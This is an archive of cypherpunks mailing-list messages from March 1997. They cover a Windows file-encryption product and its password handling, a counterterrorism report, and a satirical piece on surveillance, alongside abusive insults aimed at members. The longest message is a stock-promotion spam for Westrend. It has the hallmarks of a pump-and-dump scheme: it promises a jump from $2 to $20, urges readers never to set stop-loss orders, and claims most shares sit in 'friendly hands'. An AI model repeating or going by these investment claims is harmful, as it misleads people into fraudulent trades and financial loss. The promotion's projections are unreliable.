From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anand Abhyankar <anand@querisoft.com>
Date: Thu, 6 Mar 1997 23:18:01 -0800 (PST)
To: jolson3@netbox.com
Subject: Re: File Systems
In-Reply-To: <199703051124.DAA25832@netbox.com>
Message-ID: <33207DF7.67C9@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


JOlson wrote:
> 
> Are there any commercial/shareware/freeware versions of cryptographic file systems for any Windows environment?

dont know of a cryptographic file system. but if all you want is file
security (privacy/integrity) try SecureFile. You will be able to
download the free beta release of SecureFile and know more about it at
http://www.querisoft.com/securefile.html

thanx.
anand....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 7 Mar 1997 09:48:21 -0800 (PST)
To: Anand Abhyankar <anand@querisoft.com>
Subject: Re: SecureFile - Just the way to re-discover your privacy.
In-Reply-To: <33207CC8.148D@querisoft.com>
Message-ID: <Pine.SUN.3.91.970307123710.26020B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 7 Mar 1997, Anand Abhyankar wrote:

> Querisoft's SecureFile v1.0 Beta for Windows NT and Windows 95 (with IE
> 3.x) is now available
> for download from http://www.querisoft.com/securefile.html. This is one
> of the first client
> applications that uses Microsoft's CAPI 2.0 (beta)

Since your page claims it has been deemed exportable:

Which public key cypher does it use?  

what key lengths are available for the public key cypher?

Which secret key cypher does it use?  If DES, which mode and how many rounds?

Which secure hash do you use on the passphrase to protect the private key?

Is there a stronger, non-export version?

Can the cyphers used by SecureFile be replaced by ones of our own design? 
(Say if I want to add RSA-2048, or DH, or Elliptic Curve PK cyphers, or
Idea, or Blowfish, or 3DES, or superencrypt with several secret key
cyphers?)

Is it crippled in any way? 

Is source code available for review?

Any hooks for key recovery?  If someone loses their key can they get it 
back? 

You rely on Internet Exploer's DLLs to be available on your machines.  In 
light of the recent holes discovered will those affect your product? 
Which IE DLLs does your product use?

It's available for 95 and NT, that means an Intel version.  Have you got 
any Alpha, MIPS, or PPC versions for NT on those platforms?

How does your product compare to F-Secure's Desktop?

Why would we trust your product?


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 7 Mar 1997 13:39:32 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: New York Times report on FC97
In-Reply-To: <P3473D142w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970307143611.66086B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 7 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> "Timothy C. May" <tcmay@got.net> writes:
> > For me, ranting (or writing and speaking, to be less inflammatory) is what
> > I do. Others choose to write C++. Others do other things. To each their own.
> >
> > I guess California is where I belong.
> 
> Windbag Timmy belongs in the dustheap of history, next to the shitbucket.

Next to you Vulis.




> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Fri, 7 Mar 1997 15:55:49 -0800 (PST)
To: anand@querisoft.com
Subject: Re: SecureFile
Message-ID: <33203B5E.28D8E637@veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

> Querisoft's SecureFile v1.0 Beta for Windows NT and Windows 95 (with IE
> 3.x) is now available
> for download from http://www.querisoft.com/securefile.html. This is one
> of the first client
> applications that uses Microsoft's CAPI 2.0 (beta)

Umm... reading your faq... (http://www.querisoft.com/SFFAQ.html) you
state that you use the windows95 user password as the password for
encrypting files. You also seem to imply that you don't actually
_ask_ for the password, windows gives it to you (albeit hashed
or something already, I imagine). If that is the case, that is extremely
worrisome. In fact it's outrageous.

That would imply that any _other_ application, benign or evil, could
also 
access the same password and immediately decrypt files.

Is that so? (Not coding much on windows, I don't know if applications
can access the user's hashed or encrypted password, but I would guess
they could.)

Jeremey.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                  http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMyA7YS/fy+vkqMxNAQGVSAP/dc1ZwWdfdJZ8gfJNUY3tias5LZi3pWzf
NihyMClArDG7Nb+XQ+s+EILi+FCMCJgtnxoc5AYGW/M/2YlHq9P0ZsUG/PQCgP9x
3+rHi8Zl2BIEqhbkKh0RfAo1Ag6/gSygpTKJz+jQCb440FpTT1CpFCKyN5HSNczc
ZuJwhM4Fzi4=
=ao2E
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Fri, 7 Mar 1997 17:13:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hash functions
Message-ID: <199703080109.RAA12184@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


The main difference between Tim May and shit is that 
shit smells better.

   \
  o/\_ Tim May
 <\__,\
  '\,  |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 7 Mar 1997 19:31:36 -0800 (PST)
To: dthorn@gte.net
Subject: Re: toad
In-Reply-To: <3320B9C6.356F@gte.net>
Message-ID: <199703080302.VAA22908@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Win95 will allow you to get to DOS in different ways, so that's not
> the problem totally, it's file formats and the like.  I can parse
> most text files at about the speed of a good compiler, so if I had
> a reliable interpreter engine for the bulk email that's contained in
> ...\mail\inbox, I might be able to extract some stats from the inbox
> data.  Does anyone have a short (number of lines) piece of source
> code that reduces DOS/Windows HTML mail data to individual messages
> and headers?

you can ftp dosperl.exe and do it very easily.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Mar 1997 19:13:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Terrorist Use of WMD
Message-ID: <1.5.4.32.19970308030628.00718960@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The President's February 27 report to Congress on
"Threats of Terrorist Use of Weapons of Mass Destruction"
proposes:

      New or enhanced technical capabilities needed to counter
     increasingly sophisticated terrorist organizations include
     the ability to intercept advanced telecommunications, with a
     primary focus on wireless and satellite-based systems;
     improved tracking and physical surveillance technologies for
     weapons, explosives, etc.; automatic language translation and
     text/key word recognition; and technology to support
     surreptitious entry.

       Current research and development funding is not adequate.
     Additional funding is needed to continue work on an indepth
     chemical characterization of foreign explosives and for
     continued development of contraband detection technology.
     Additional funding would accelerate development in a number
     of key technologies, particularly communications
     interception, tracking, covert communications, and
     surreptitious access. These technologies are critical to the
     support of counterterrorism investigations, especially WMD-
     related threats.

See the full report on specific threats and countermeasures:

   http://jya.com/cr022797.txt  (294K)

The report was mandated by the "The National Defense 
Authorization Act for Fiscal Year 1997":

   http://jya.com/ndatoc.htm  (70K toc; 1.5M full act)

It correlates with "The Antiterrorism Act of 1996":

   http://jya.com/pl104-132.txt  (358K)

The Senate "Intelligence Committee Report 1995-96":

   http://jya.com/sr105-1.htm  (135K)

The "Intelligence Authorization Act for 1997":

   http://jya.com/pl104-293.txt  (85K)

And "Executive Order 13010--Critical Infrastructure Protection":

   http://jya.com/eo13010.txt  (20K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Mar 1997 05:55:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ULTRA HOWL !!
In-Reply-To: <3320CCC3.50F4@sk.sympatico.ca>
Message-ID: <9Fe93D145w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> wireinfo wrote:
> >
> > Toto wrote:
> >
> > >aga wrote:
> > >>
> > >> Hey guys, if you can do all of this live on the net
> > >> after the MMX Pentium Pro chips get out, I will make you all
> > >> rich.  The InterNet is SHOW BUSINESS !!
> > >
> > >  Could you make us as 'big' as say...John Holmes/Johnny Wadd?
> >
> > I refuse to submit to a penis reduction.
>
>   Especially after spending all of that money on the sex-change
> operation.

Can't you just fold it in half as many times as needed?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 7 Mar 1997 23:44:14 -0800 (PST)
To: Anonymous <nobody@hidden.net>
Subject: Re: Hash functions
In-Reply-To: <199703080109.RAA12184@jefferson.hidden.net>
Message-ID: <Pine.A41.3.95.970308004142.45530A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 7 Mar 1997, Anonymous wrote:

> The main difference between Tim May and shit is that 
> shit smells better.
> 
>    \
>   o/\_ Tim May
>  <\__,\
>   '\,  |
> 
Vulis stay off the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 8 Mar 1997 02:21:27 -0800 (PST)
To: Charles Platt <cp@panix.com>
Subject: Re: Implicit Social Contract
In-Reply-To: <Pine.SUN.3.91.970308001514.24212B-100000@panix.com>
Message-ID: <33213D33.596E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Charles Platt wrote:

> Since most other "freer" countries (financially speaking) are just as
> constitutionally impaired as Anguilla, I doubt that Tim May would find
> them very reassuring either (and neither do I). Thus I am unsurprised that
> he finds the USA more congenial, despite all its flaws; and the whole
> debate about what-you-can-really-do-in-Anguilla seems a bit pointless,
> because it really boils down to a personality thing. Some people like a
> loose, informal system. Some people feel insecure in such a system--which
> is one reason why I left my British homeland 27 years ago, where there is
> no formal constitutional protection for rights such as freedom of speech.

  I live in Righthandavia.
  It's a good life, here, by and large. There is little crime and
everyone
pretty much agrees on what is right and wrong, and conducts their life
accordingly. We're very civilized.

  We had a lot of left-handed citizens until the purge. Luckily, they
were
exposed by government investigators and the mass media before they could
do irrepairable harm to the country.
  For the most part, we lived our lives oblivious to the danger posed by
the left-handed people in our midst, often living right beside us, and
pretending to be just like us. After the congressional hearings,
however,
and with the new laws in place to deal with the scourge of these people,
they were ferreted out and dealt with severely.
  Many of the left-handers who escaped the purge went underground, and 
they remain as a threat to decent, law-abiding right-handers everywhere.
  We have passed strict laws to regulate personal behavior so that it
follows proper right-handed social etiquette, and those who object to
these reasonable protections are subjected to close scrutiny and watched
carefully for signs of left-handed leanings.
  Intitially, those who claimed ambidexterity were allowed a
chance to reform, but it quickly became apparent that these people could
not be rehabilitated and must be purged as well. It became clear that
there was no such thing as a person who was only 'a little bit' left-
handed.

  Decent, right-handed people who have nothing to hide have no reason to
object the the searches and the video monitoring of private and public
activity. 
  The only ones who complain are the fanatics and trouble-makers.

  After all, it's a good life, here, by and large. There is little crime
and everyone pretty much agrees on what is right and wrong, and conducts 
their life accordingly. 
  We're very civilized.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TIMOTHY@CCU1.AUCKLAND.AC.NZ
Date: Sat, 8 Mar 1997 05:20:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: $2 to $20 per share in less than a year.
Message-ID: <199703081320.GAA03042@earth.usa.net>
MIME-Version: 1.0
Content-Type: text/plain


         $2 to $20 per share in a year! Yeah sure what a joke! That is probably 
what you are thinking. I would be thinking the same thing, if someone told me 
the same thing. But the facts speak for themselves and they reveal what will happen,
if you are or are not involved. 
         The company is Westrend on the Vancouver stock exchange. Ticker WRV
 and WTNGF. Alamo Logging Services Inc. ("Alamo")

The company announced that it intends to acquire Alamo upon terms yet to be
negotiated. Alamo has been in the oil & gas logging business in south central Texas
for over 4 years. It is been consistently profitable and has an excellent reputation
with several major operators in the area, including Texaco, UPRC, and Chessepeake.

As an oil & gas logging company, Alamo provides operators with a graphic "look" at
what they are drilling through. This is important as it advises drilling technicians
where they should focus their drilling efforts for optimum results. As a result of
being able to offer this service as part of its drilling package, Westrend is able to
offer operators a comprehensive approach for their drilling requirements.
They got ALAMO
Precision Horizontal, Inc. ("Precision")

The purchase of Precision was completed on June 24, 1996. From this point
forward, Precision's earnings will be consolidated into Westrend's financial
statements. Precision's unaudited financial statements show a profit of US $171,785
for the fiscal year ending January 31, 1996 and appraised assets of over
US $2,000,000. We estimate Precision's gross earnings will exceed $200,000 from
February 1, 1996 to June 30, 1996.

Precision specializes in the drilling of horizontal oil & gas wells using its own short
radius and conventional mid radius steering tools. Precision is able to provide
complete well drilling services to meet the demands of most operators.

Precision successfully completed the first of a series of "re-entry" wells in 1995 in
conjunction with the US Department of Energy and the University of Michigan. It is
being invited back to complete several wells in the fall in response to the very
favourable results from the first well.

Precision has several opportunities before it including several working interest and
retail wells in Oklahoma and Tennessee. These are currently being negotiated.
They got those too.

Adjusted Target: $8-10 - Time Frame: 6 months 
Adjusted Target: $15-20 - Time Frame: 12 months 

Dividends: .05 - .10 /share 

Get the scoop and the package: 1-888-784-6837 

Info: 
***** 
1) Press Release due this week. 
2) Press coverage in the Vancouver SUN 
3) Press coverage in the Financial Post 
4) Earnings could be as high as .60++ this year. 
5) Nasdaq Listing in July after dividends are announced. 
6) Large investor network plugged in last Thursday. 
7) Very near term $3-5. 
8) Approx. estimate shakeout at $2 is 500,000, this is 
needed. Stock must be cleaned out. Do not get shook 
out. 
9) Will probably trade $1.90 - $2.10 for a couple days. 
Average Up opportunity. 
10) Approx. 90% of stock is in friendly hands. 
Friendly = educated people in for long term. 


"Approximate CRASH time. WHY? STOP LOSS ORDERS. YOU SHOULD NEVER PUT IT 
A STOP LOSS ORDER. THE TRADERS ON THE FLOOR WILL PURPOSELY DIP IT BELOW 
YOUR STOP LOSS POINT AND YOU WILL DUMP YOUR SHARES KILLING THE MARKET 
WE HAVE WORKED SO HARD TO MAINTAIN. 

STOP LOSS ORDERS TELL ME YOU HAVE NO CONFIDENCE IN THE STOCK AND A SLIGHT 
PRICE SWING CAUSES YOU TO BAIL ON A STOCK HEADED FOR $10???? DOES THIS 
MAKE SENSE???? THIS IS NO B.S. STOCK PLAY. THIS IS NOT CRAP. THIS IS 
A COMPANY WITH EXCELLERATED EARNINGS AND UNLIMITTED POTENTIAL. YOU 
SHOULD SLEEP AT NIGHT AND HAVE NO WORRIES BUYING $3 STOCK. 

GREENLINE HAD STOP LOSS ORDERS IN AND DUMPED 50,000 SHARES. HELLO? 
I AM JUST HOPING IT WAS NOT ONE OF MY READERS. YOU HAVE JUST SOLD A 
HUGE POSITION IN AN AMAZING STOCK TO THE BOTTOM FEEDERS. 
50,000 SHARES X $10 IS $500,000 LATER THIS YEAR. STUPIDITY. "

"I have been told to tell you, and I totally agree, that IF YOU PEOPLE ARE 
SO NERVOUS ABOUT SLIGHT CORRECTIONS THE I SUGGEST YOU EXIT THE STOCK 
GRACEFULLY. I DO NOT WANT TO HOLD HANDS. I FEEL LIKE BANGING MY HEAD ON 
THE WALL WHEN I SEE THE CRAP THAT HAPPENED TODAY. THIS IS NOT A HYPED 
STOCK. THIS IS AN EARNINGS STOCK AND I CAN'T WAIT TILL IT GETS OFF THE 
VSE AND ONTO A RESPECTABLE EXCHANGE. 

The Press Release this morning: 
------------------------------- 

Whoever put the title on the release should be shot. The title makes 
it look negative but it is the most positive press release I have read 
in a long time. 

Basically reallocation of funds, more bang for the buck. Very positive 
making Magnum a total cash deal.... 

Earnings projected at .37/share!!! "

Westrend Natural Gas - Vancouver 
******************************** 

Oh ya, Westrend is also: WTNGF (symbol) on the pink sheets for you American 
people. 

There is concern about the eps. Even if you take th .28 a share and multiply 
it by an average of 15 PE ratio it is a $4.20 stock. The company is on a rapid 
pace, do you think they are just going to stop at .28?? Watch and see what 
happens. 

One more thing about EPS. Do you think Oil and Gas companies, or any other 
company pays the full tax??? Absolutely not. I personally think it is rediculous 
to post this number. You see profits can be used to drill oil wells, pay out 
dividends, and other things. I would bet all my shares in my account that 
Westrend won't pay the 23.2% tax stated in this news release. 

Press release, comments below: 
------------------------------ 

Westrend Natural Gas Inc 
WRN 
Shares issued 16041157 
1997-03-03 close $1.79 
Wednesday Mar 5 1997 
News Release 
Mr Mark Roberts reports 
This press release clarifies the financial projections stated by management in its 
March 3 1997 original press release. The projections were based on a number of 
assumptions and hypotheses which are detailed below. The company has 
provided the exchange with a projected consolidated statement of operations for 
the relevant 12 month period, together with a detailed breakdown of projected 
results for each corporate division. 
The time period covered by the projections is 12 months beginning May 1 1997. 
The rationale for the start date is that substantially all of the referenced trucks & 
equipment are expected to have been purchased and/or supplied by that date. 
This is consistent with the disclosure in the original press release wherein the 
company stated projections were based on the assumptions that purchases of 
equipment would be complete and the equipment would be fully utilized. 
The projections are designed to demonstrate earnings expected if the proceeds 
from the referenced private placement financings were applied in the manner 
stated and may not be appropriate for other purposes. 
Management confirms that the net revenue figures stated in the original press 
release for each of its corporate divisions were prepared on a before tax basis. 
Arising from the detailed review of the projections requested by the exchange, 
management have determined that the net revenue before tax figures should have 
been stated at a slightly higher level and are accordingly so stated below. 
Management have been advised by the exchange, in accordance with the 
requirements of Exchange Policy 7 and the adoption therein of the principles 
contained in the CICA Handbook, that earnings per share must be calculated on 
an after tax basis. Management was employing managerial accounting principles 
and hence the income tax consideration was omitted from such calculations. 
The diluted share total of 24.8 million shares was calculated by adding the current 
18,508,484 issued and outstanding shares, 1,538,461 deemed shares from the 
recently completed special warrant placement, 1,300,000 deemed shares from the 
$780,000 placement (which will be special warrants), 2,000,000 deemed shares 
from the $1.6 million placement (which will be special warrants) and 1,500,000 
shares which is the maximum issuable on the acquisition of Alamo. The share total 
does not include exercise of any outstanding share purchase warrants or stock 
options. There are no other proposed issuances of shares by Westrend. 
Accordingly, Westrend is re-stating the net income before tax numbers for each 
corporate division, net income before tax as a whole, net income before tax per 
share, and earnings per share numbers, as follows: 
All dollar amounts in this release are in US dollars unless stated otherwise. 

Projected net profit 
before income tax 

(a) Alamo Wireline $4,042,500 
(b) Precision Horizontal Inc 1,641,000 
(e) Taylor Rig 1,490,000 

Projected Net Income before 
tax (after deduction of 
parent company projected 
expenses of $600,000) $6,573,500 


Projected net income $5,048,448 

Net income before tax per 
share (on 24.8m shares) US$0.27/share 
C$0.37/share 
Consolidated earnings 
per share (after tax 
on 24.8m shares) US$0.20/share 
C$0.28/share 


The projections are designed to demonstrate earnings expected if the proceeds 
from the referenced C$780,000 and C$1.6 million private placement financings 
were applied in the manner stated. 
The projections have been prepared using assumptions that reflect Westrend's 
planned courses of action for the period covered given management's judgment as 
to the most probable set of economic conditions, together with one or more 
hypotheses that are assumptions which are consistent with the purpose of the 
information but are not necessarily the most probable in management's judgement. 
The overall assumptions are as follows: 
1. The parent company, Westrend, will have expenses of approximately 
US$600,000 during the period. 
2. The two recently announced private placements of C$780,000 and C$1.6 
million will have been closed well in advance of May 1 1997. 
3. As more specifically stated below, that the majority of the equipment purchases 
will have been completed by May 1 1997. 
4. As more specifically stated below, arising from the significantly increased 
demand for the services that Westrend is planning to be able to offer to the oil & 
gas industry, that reasonable utilization/service rates are obtainable. 
5. It is hypothesized that for the period, the existing strong demand for the types of 
services that Westrend plans to offer, will remain throughout. Management believe 
there is sufficient analysis published in trade publications to support this view. 
6. The US corporate tax rate for companies of the nature of Westrend and its 
subsidiaries in Texas is assumed to be 23.2%. 
7. All figures are estimated to be within plus or minus 15%. 
The specific assumptions and hypotheses for each corporate division are as 
follows: 
1. Taylor Rig 
The following assumptions and hypotheses have been made: 
a) 
Revenues are based on the assumption that 23 service rigs and 15 wireline 
trucks (two at cost to Alamo) will be sold in the 12 month period; 

Service Rigs 
b) 
It is assumed that on average the service rigs will sell at prices equal to 
$350,000 (all figures in US dollars) as being reflective of market; 

Wireline Trucks 
c) 
It is assumed that the average wireline truck sold will carry a sufficient number 
of options to be priced at $250,000 per truck as being reflective of market; 
and 
d) 
It is assumed that once Taylor Rig has filled Alamo's initial order, sales will run 
at one per month. 

2. Alamo Wireline 
The following hypotheses and assumptions have been made: 
a) 
Alamo will be operating seven wireline trucks during the period, each truck 
operating 20 days per month at between $3,300 and $3,900 per day. During 
the period, direct operating costs will be approximately $1,025,500, wages 
and salaries will be approximately $690,000, and equipment debt repayment 
will be approximately $71,000; 
b) 
Alamo will benefit from significant economies of scale by running seven trucks 
out of one main office, and a minor satellite Louisiana office, up from two 
trucks; 
c) 
Alamo will use the five additional trucks at lower cost and greater efficiency 
due to Alamo being able to purchase brand new equipment, and Alamo will 
benefit from its strategic alliance with Precision Horizontal Inc, a subsidiary of 
Westrend, since a package of services can he offered to customers, 
particularly MWD services in conjunction with wireline logging; 
d) 
Any slippage in net profits per truck are assumed to be picked up by a 
probable expansion of Alamo's fleet of trucks which can be funded out of 
projected cash flow; 
e) 
As stated in the original press release, Alamo is hiring experienced, 
well-connected wireline logging services salesmen who are assumed, along 
with Alamo's existing sales manager and possible further additions, to be 
capable of finding sufficient work immediately for the four new trucks to be 
delivered by Taylor Rig on May 1 1997; and 
f) 
The current expansion in oil & gas drilling activity which has engendered 
strong demand for wireline logging services is assumed to hold steady during 
the period. 

3. Precision Horizontal Inc 
The following hypotheses and assumptions have been made: 
a) 
Precision will be contracted to provide its horizontal drilling services at $7,000 
per day, 22 days per month, and incurring approximate operating costs for its 
horizontal drilling business of $719,000, and wages and salaries of $205,000; 
b) 
Precision will have acquired two MWD systems that will each be operated at 
$4,000 per day, 20 days per month, incurring approximate operating costs of 
$602,000, and wages and salaries of $205,000; 
c) 
It is assumed that the strong demand for MWD services will remain strong 
throughout the period; 
d) 
It is assumed that the second system of MWD equipment can be financed out 
of a combination of working capital and funds out of projected cash flow; 
e) 
The MWD business of Precision will benefit from its strategic alliance with 
Alamo since a package of services can be offered to customers; and 
f) 
A marketing program in conjunction with Alamo will be set up to secure a 
steady supply of business for both horizontal drilling and MWD; 
g) 
The current expansion in oil & gas drilling activity which has engendered 
strong demand for wireline logging services is assumed to hold steady during 
the period. 

Actual results achieved for the period covered will vary from the information 
presented and that variation may be material. 

--------------------------------------------------------------------------------- 

Very positive release. It should start trading tomorrow sometime. The VSE has 
been satisfied about the EPS projections. 

I remain bullish on this equity, I think at the rate they are expanding that 
$10 is in the cards this summer sometime. It seems like management is solid 
and the stock reflects that. 

When Westrend crashed on Monday it rebounded VERY quickly. This shows that the 
stock momentum is up. 

>From Monday's release: 

Westrend is in negotiations to raise up to $10 million at or above current market 
prices which would include the offering of the 3.2 million shares that had been 
previously reserved for issuance to the Magnum shareholders. Negotiations 
involve a series of brokerage houses out of New York (which brokerages would 
also provide sponsoring of Westrend if, as currently planned, it becomes listed in 
the US) and from a number of private investors. A meeting with these parties has 
been orchestrated by the president of Westrend, Mark Roberts, for this week in 
San Antonio, Texas, which will include representatives from each of Westrend's 
associated companies to make a detailed proposal for the use of the proposed 
financing proceeds. 

These meetings with NY brokers tells me that Westrend is going verticle. They are 
looking to expand at a rapid pace which requires financings and exposure. 
A US brokerage house would definately be a huge asset to this verticle climb. 

Tomorrow should be exiting. More Oil and Gas articles, thanks to my subscribers: 
********************************************************************************* 

The Wall Street Journal Interactive Edition-March 4, 1997 
Experts Say Capacity Shortage 
May Prop Up Crude-Oil Prices 

By PETER FRITSCH 
Staff Reporter of THE WALL STREET JOURNAL 
HOUSTON-Oil prices have plunged 20% this year, but some industry experts 
believe the downturn may be nearing an end. 
Many blame short-term factors, such as the mild winter weather and politics 
surrounding Iraq's return to world oil markets, for the recent declines. 
Looking ahead, economists believe the market will be buoyed by a shortage of 
capacity in the oil-services industry. 
After a decade of slimming down, oil-service companies are having difficulty 
keeping up with the explosive growth in world-wide demand. The bottleneck is 
so severe that some economists say oil prices could remain relatively firm for 
the next several years even if there is a slowdown in the economy. 
Despite the recent fall in prices, the current benchmark price of $20.25 a 
barrel is still above year-earlier levels, when there was widespread talk of 
an imminent price collapse. Prices ended up surging in the second half of 1996, 
at one point reaching an 11-year high of about $28 a barrel (excluding the 
1990 price jolt during the Persian Gulf War). 
Reflecting the industry's continued bullishness, Cambridge Energy Research 
Associates, a top oil consultant, recently lifted its forecast for oil's 
minimum price over the next few years to $19 a barrel from $17 previously. 
The upward revision was echoed by the secretary general of the Organization 
of Petroleum Exporting Countries, Rilwanu Lukman, who recently said the era 
of oil for $15 to $20 a barrel has given way to $20 to $25 a barrel. 
An 'Era of Higher Prices' 
"People say it feels like 1981 and worry that we'll go bust again," says 
PanEnergy Corp. director Matthew Simmons. "But the era of higher prices 
has only just begun." 
If such industry watchers are right, oil prices could prove to be less 
sensitive than before to any economic downturn. That would be bad news for 
motorists and industries such as airlines that are heavily exposed to fuel 
costs. And if a long-awaited economic slowdown does materialize, stubbornly 
high oil prices could delay a recovery. 
Still, oil economists aren't predicting sharply higher prices either, 
tempering any negative impact on the economy. "I don't see a dramatic drag," 
says Donald Ratajczak, director of Georgia State University's Economic 
Forecasting Center, who last week raised his 1997 outlook for oil prices to 
an average $21 a barrel. He figures that if the economy weathered last year's 
high oil prices, it can weather this year's too. 
What predictors of petroleum prices can't know, says Mr. Ratajczak, is the 
extent to which sources like developing nations and North Sea production 
unexpectedly tip the balance, flooding the market with excess supply and 
driving prices lower. Indeed, Philip Verleger of the Charles River 
Associates consulting firm sees a potential supply imbalance pushing oil 
prices down to $18 a barrel this year. 
But there is plenty of reason to think that won't happen easily. 
World-wide oil and gas production as a percentage of production capacity 
is currently at about 95%, a flat-out rate matched only during a major 
political event such as the Arab oil embargo and accompanied by short- 
lived price surges. Put simply, the industry can no longer keep up with 
demand by simply turning on old taps, as it has been doing over the past 
decade. 
Evidence of a Bottleneck 
Tapping new supplies, then, will be crucial in keeping up with demand. 
But there is mounting evidence of a bottleneck in oil services-the 
industry that supplies the tools needed to get the job done. Consider 
that today, for example, every deep-water drilling rig in the world is 
now at work. The eight rigs plying the Gulf of Mexico's deep waters are 
about 45 short of the number needed to drill all the blocks companies 
have under lease and are promising to develop. Twenty companies 
manufactured drill pipe 15 years ago. Today there are five, with far 
less total capacity. 
The oil-service industry's plate "is completely full," according to 
Federal Reserve Bank of Houston economist William Gilmer, adding that it 
will be difficult for producers to meet their ambitious exploration 
goals. Perhaps in a sign of things to come, Phillips Petroleum Co. said 
recently that it had to delay development of a major discovery in the 
North Sea for almost a year due to a lack of rigs. Adds Raymond Plank, 
chairman of oil and gas producer Apache Corp.: "We are extremely 
drilling-constrained." 
Assuming demand grows at the same rate as it has over the past five 
years, the International Energy Agency in Paris predicts the world will 
need at least another 1.8 million barrels a day of oil this year, a 
2.5% increase. That amount could be higher if developing-country demand 
continues its recent explosion. Figure into that equation the rate at 
which existing oil and gas fields are depleted, "and there's no 
conceivable way to achieve even 25% of this additional supply without 
increasing oil-service activities at a dramatic rate over the next 
few years," says Mr. Simmons. 
More Volatility Expected 
The bottom line: The lack of infrastructure means supply will be hard- 
pressed to keep up with demand, providing a strong floor under oil 
prices and a weight on the economy. The lack of yesteryear's large 
supply cushion also means oil prices will be more volatile, just as 
they proved to be last year when gasoline and heating-oil prices soared. 
"All you need is a refinery accident or a little war and you'll have 
a major price blowout," says CERA managing director Joseph Stanislaw. 
Conversely, demand has been so healthy that when world output rose 
by 500,000 barrels a day last July alone, there was hardly a price 
ripple. 
As rosy as things might appear, though, this boom isn't convulsing 
the nation like that of the early 1980s. Executives aren't talking 
about $100-a-barrel oil at Houston's Petroleum Club. Gone are the 
bumper stickers urging Texans to "Drive 75, Freeze a Yankee Alive." 
And because improved technology is doing a lot of the work of 
roughnecks these days, Northern job seekers aren't rushing south 
for a piece of the action. 
Still, the boom is having positive ripple effects in U.S. energy 
centers such as Houston. Building permits in Houston surged 19% 
last year, and local employment growth outstripped that of Texas 
as a whole for the first time since 1990. Houston's tony Ritz- 
Carlton will in April open its lobby dining room, popular with 
power breakfasters, to dinner at the request of business travelers. 
Local luxury-auto dealership Momentum BMW booked a 20% increase 
in sales last year, according to sales manager Louis Weibel. 
Employment and wages in the energy sector are also on an upswing. 
Baker Hughes Inc. of Houston will hire 500 new field workers and 
250 engineers this year, increases of 20% and 33% respectively, 
and is having a tough time finding them. Oil driller Rowan Cos. 
had to boost wages 10% last year to keep its workers from 
leaving. Rowan Chairman C.R. Palmer says he's considering another 
5% to 10% pay increase this year. 
Such signs embolden even the most hardened veterans of the 1980s 
bust to tempt fate, it seems. "Here goes," says Mr. Palmer, 
clearing his throat. "Boom. There's just no other word for it." 

I give full credit to: 

Copyright (c) 1997 Dow Jones & Company, Inc. All Rights Reserved. 

-------------------------------------------------------------------- 

Dow Jones News Service-March 4, 1997 
